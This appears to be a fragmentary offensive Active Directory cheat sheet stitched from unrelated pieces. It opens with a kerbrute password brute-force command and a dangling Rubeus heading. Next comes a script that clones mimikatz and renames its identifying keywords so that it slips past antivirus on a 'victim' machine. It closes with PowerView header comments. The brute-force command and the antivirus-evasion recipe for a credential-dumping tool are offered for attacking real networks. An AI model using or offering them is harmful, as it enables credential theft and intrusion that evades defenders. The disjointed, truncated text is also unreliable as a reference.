python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

# This script downloads and slightly "obfuscates" the mimikatz project.
# Most AV solutions block mimikatz based on certain keywords in the binary like "mimikatz", "gentilkiwi", "benjamin@gentilkiwi.com" ..., 
# so removing them from the project before compiling gets us past most of the AV solutions.
# We can even go further and change some functionality keywords like "sekurlsa", "logonpasswords", "lsadump", "minidump", "pth" ....,
# but this needs adapting to the doc, so it has not been done, try it if your victim's AV still detects mimikatz after this program.

git clone https://github.com/gentilkiwi/mimikatz.git windows
mv windows/mimikatz windows/candycrush
find windows/ -type f -print0 | xargs -0 sed -i 's/mimikatz/candycrush/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/MIMIKATZ/CANDYCRUSH/g'

# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
#   tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c

# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
#   https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

# New function naming schema:
#   Verbs:
#       Get : retrieve full raw data sets
#       Find : ‘find’ specific data entries in a data set
